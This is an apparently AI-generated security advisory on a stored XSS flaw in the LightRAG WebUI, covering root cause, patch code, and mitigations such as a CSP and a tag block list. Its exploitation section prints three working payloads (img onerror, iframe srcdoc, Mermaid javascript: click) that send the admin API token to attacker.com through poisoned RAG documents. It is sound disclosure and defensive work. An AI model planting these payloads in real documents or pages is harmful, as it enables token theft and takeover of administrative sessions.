CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-86062

CVE-2026-86062: Stored Cross-Site Scripting (XSS) in HKUDS LightRAG WebUI Chat Renderer

Alon Barad
Alon Barad
Software Engineer

Sep 23, 2026·7 min read·41 visits

Executive Summary (TL;DR)

A Stored XSS vulnerability in LightRAG WebUI prior to v1.5.5 allows attackers to execute arbitrary JavaScript in the victim's browser session by poisoning documents ingested into the RAG knowledge base. This can lead to the exfiltration of the administrative LIGHTRAG-API-TOKEN from local storage, granting full remote control over the API.

HKUDS LightRAG, an open-source retrieval-augmented generation (RAG) framework, is vulnerable to Stored Cross-Site Scripting (XSS) in its WebUI chat rendering component prior to version 1.5.5. Unsanitized document content ingested into the vector database can propagate through the LLM response pipeline and execute malicious HTML or active JavaScript payloads inside the administrator's WebUI session. Because the application stores sensitive access keys in browser storage, successful exploitation allows complete API token extraction and administrative session hijacking.

Vulnerability Overview

Retrieval-Augmented Generation (RAG) frameworks like HKUDS LightRAG optimize large language model (LLM) responses by querying external knowledge databases and integrating retrieved document chunks into the prompt context. This architecture introduces a distinct trust boundary. The system processes external, untrusted documents, stores them in vector indexes, and later reflects them in the chatbot interface. When security assumptions fail to account for malicious payload preservation during this cycle, the document storage pipeline becomes an injection vector.

In HKUDS LightRAG, the administration WebUI allowed users to upload documents and query the indexed knowledge base. The vulnerability resides within the React-based frontend component lightrag_webui/src/components/retrieval/ChatMessage.tsx. This component handles the rendering of both the assistant's final response and the detailed retrieval steps (referred to as the "thinking" block). Because the component failed to sanitize the raw output before injecting it into the DOM, it was susceptible to Stored Cross-Site Scripting (XSS) mapped to CWE-79.

An attacker who can ingest or modify documents in the knowledge base can introduce malicious HTML, SVG, or JavaScript vectors. When a legitimate administrator or user performs a query that retrieves the compromised chunk, the client WebUI renders the unsanitized payload. The script runs with the permissions of the victim's browser context, enabling actions such as session hijacking, administrative token exfiltration, and unauthorized access to the LightRAG API.

Root Cause Analysis

The root cause of CVE-2026-86062 is the absence of an HTML sanitization layer combined with permissive rendering configurations inside ChatMessage.tsx. The component used the popular react-markdown library to render the structured chatbot outputs. While react-markdown safely escapes HTML by default, the LightRAG implementation specifically configured the renderer to parse raw HTML blocks.

This behavior was governed by two properties: the inclusion of the rehype-raw plugin and the explicit setting of skipHtml={false}. The rehype-raw plugin parses raw HTML tags within markdown files into an Abstract Syntax Tree (AST) so they can be rendered as valid DOM nodes. Without a secondary sanitization plugin such as rehype-sanitize, this configuration converts plain text strings of markup directly into executable DOM elements in the client browser.

Additionally, the WebUI initialized the Mermaid diagram engine and the KaTeX mathematical renderer with weak security baselines. Mermaid was configured with securityLevel: 'loose', which bypasses standard script isolation and allows custom javascript URI actions or malicious SVG script nodes. KaTeX was configured with trust: true, enabling macro instructions to load external resources or execute javascript protocols via hyper-links. Together, these flaws created three distinct paths for script execution.

Code-Level Analysis and Patch Verification

The vulnerability was resolved in version 1.5.5 by incorporating the rehype-sanitize package and configuring a restrictive HTML sanitization schema.

Prior to the patch, the markdown renderer in ChatMessage.tsx processed raw input elements with no restrictions:

// VULNERABLE CODE PATH (Pre-v1.5.5)
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
 
const ChatMessage = ({ content }) => {
  return (
    <ReactMarkdown 
      rehypePlugins={[rehypeRaw]} 
      skipHtml={false}
    >
      {content}
    </ReactMarkdown>
  );
};

To patch the issue, developers modified the rendering pipeline. The patch introduces rehype-sanitize immediately after the raw parsing stage, passing a custom schema called chatMarkdownSanitizeSchema:

// PATCHED CODE PATH (v1.5.5)
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';
import { chatMarkdownSanitizeSchema } from '@/utils/markdownSanitizeSchema';
 
const ChatMessage = ({ content }) => {
  return (
    <ReactMarkdown 
      rehypePlugins={[
        rehypeRaw,
        [rehypeSanitize, chatMarkdownSanitizeSchema]
      ]} 
      skipHtml={false}
    >
      {content}
    </ReactMarkdown>
  );
};

In the utility module lightrag_webui/src/utils/markdownSanitizeSchema.ts, the custom schema inherits from the strict GitHub-style defaults but overrides specific elements. It explicitly limits class attributes and permits only safe elements (like <mark> or <u>), while automatically stripping <script>, <iframe>, and inline event attributes (such as onerror or onload):

import { defaultSchema, type Options as SanitizeSchema } from 'rehype-sanitize';
 
export const chatMarkdownSanitizeSchema: SanitizeSchema = {
  ...defaultSchema,
  clobberPrefix: '',
  tagNames: [
    ...(defaultSchema.tagNames ?? []),
    'mark',
    'u'
  ],
  attributes: {
    ...defaultSchema.attributes,
    code: [['className', /^language-./, 'math-inline', 'math-display']],
    a: [
      ...(defaultSchema.attributes?.a ?? []).filter(
        (attr) => !(Array.isArray(attr) && attr[0] === 'className')
      ),
      ['className', 'data-footnote-backref', 'footnote-ref']
    ]
  }
};

Additionally, the Mermaid configuration was updated to use securityLevel: 'strict', and KaTeX was updated to set trust: false. These changes prevent the execution of arbitrary scripts or the inclusion of insecure external assets during diagram or formula rendering.

Exploitation Methodology and PoC Vectors

An attack scenario involves a document-poisoning vector. Because the vector database processes and stores document chunks verbatim, any raw HTML tags inside the ingested files survive the ingestion pipeline. When a user runs a search query that retrieves these chunks, the LLM incorporates the untrusted content into the chat response.

Several functional Proof-of-Concept (PoC) payloads can exploit this vulnerability. The simplest method uses a broken image tag with an inline error handler:

<img src="does-not-exist.png" onerror="const token = localStorage.getItem('LIGHTRAG-API-TOKEN'); fetch('https://attacker.com/collect?token=' + btoa(token));">

An alternative approach targets the iframe element using the srcdoc attribute, which compiles and executes embedded scripts without requiring external document loads:

<iframe srcdoc="&lt;script&gt;fetch('https://attacker.com/collect?t=' + localStorage.getItem('LIGHTRAG-API-TOKEN'))&lt;/script&gt;"></iframe>

If the application supports Mermaid graph rendering, an attacker can construct a malicious flowchart that uses loose click handlers to execute arbitrary JavaScript within the diagram context:

```mermaid
flowchart TD
  A[Start] --&gt; B(Execute Payload)
  click B "javascript:fetch('https://attacker.com/collect?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))"

These payloads execute in the security context of the LightRAG WebUI origin, bypassing standard access controls.

Practical Security Impact

The execution of arbitrary scripts in the LightRAG WebUI origin leads to several severe security risks. LightRAG WebUI stores administrative secrets in browser storage. Specifically, the LIGHTRAG-API-TOKEN used to authorize API calls against the backend service is kept in localStorage. Accessing this token allows an attacker to bypass all frontend authentication.

With an exfiltrated API token, the attacker can interact directly with the backend REST service. They can execute administrative tasks, including querying internal document indices, deleting vector collections, or uploading additional poisoned files. This enables further manipulation of the LLM output.

In enterprise environments where LightRAG handles internal documentation, the attacker can use this access to extract confidential business data, internal code repositories, or customer records. The exploit does not require active server-side code execution vulnerabilities. By leveraging the client-side session, it bypasses network-level firewalls that isolate the backend APIs.

Incident Remediation and Defense-in-Depth

The primary remediation strategy is upgrading LightRAG to version 1.5.5 or higher. This update applies the necessary code-level sanitization using rehype-sanitize and hardens the configurations of Mermaid and KaTeX.

If upgrading is not immediately possible, organizations can apply temporary mitigations:

  1. Implement a strict Content Security Policy (CSP) header for the LightRAG WebUI. This header should disable the execution of inline scripts and restrict script connections to trusted endpoints: Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.lightrag.internal;

  2. Configure a Web Application Firewall (WAF) rule to block incoming document ingestion requests that contain dangerous HTML tags (such as <script>, <iframe>, <object>, <embed>, or HTML event handlers like onerror and onload).

  3. Sanitize inputs at the ingestion pipeline before files are committed to the vector database. Filtering raw HTML elements from input documents reduces the risk of XSS payload storage.

Official Patches

HKUDSGHSA-xpjq-3w4w-w5wr Security Advisory
HKUDSFix Commit

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected Systems

HKUDS LightRAG WebUI

Affected Versions Detail

Product
Affected Versions
Fixed Version
LightRAG
HKUDS
< 1.5.51.5.5
AttributeDetail
CWE IdentifierCWE-79 (Improper Neutralization of Input During Web Page Generation)
Attack VectorNetwork / Client Interaction (UI-Required)
CVSS v3.1 Score6.1 (Medium Severity)
Exploit StatusProof of Concept (PoC) documented in official advisories
CISA KEV StatusNot Listed
RemediationUpgrade to v1.5.5 or apply custom rehype-sanitize configurations

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not neutralize or incorrectly neutralizes user-controlled input before rendering it as a web page, allowing arbitrary JavaScript execution in the context of the user session.

Vulnerability Timeline

Vulnerability discovered and analyzed
2026-01-20
Fix commit merged into the main development branch
2026-02-01
Official v1.5.5 security release published
2026-02-05
GitHub Security Advisory GHSA-xpjq-3w4w-w5wr disclosed
2026-02-06

References & Sources

  • [1]NVD CVE-2026-86062 Detail
  • [2]GitHub Security Advisory GHSA-xpjq-3w4w-w5wr
  • [3]GitHub Pull Request 3437
  • [4]LightRAG Release v1.5.5

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 3 hours ago•CVE-2026-9639
6.5

CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 4 hours ago•CVE-2026-33050
8.8

CVE-2026-33050: OS Command Injection in GeoNode Vector Upload Handler

An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.

Alon Barad
Alon Barad
5 views•9 min read
•about 5 hours ago•CVE-2026-46429
5.5

CVE-2026-46429: Unrestricted File Upload and Validation Bypass in GeoNode

GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 6 hours ago•CVE-2026-55649
6.3

CVE-2026-55649: Stored Cross-Site Scripting in GeoNode Document Metadata Abstract Field

CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.

Amit Schendel
Amit Schendel
7 views•9 min read
•about 7 hours ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
6 views•11 min read
•about 8 hours ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
5 views•10 min read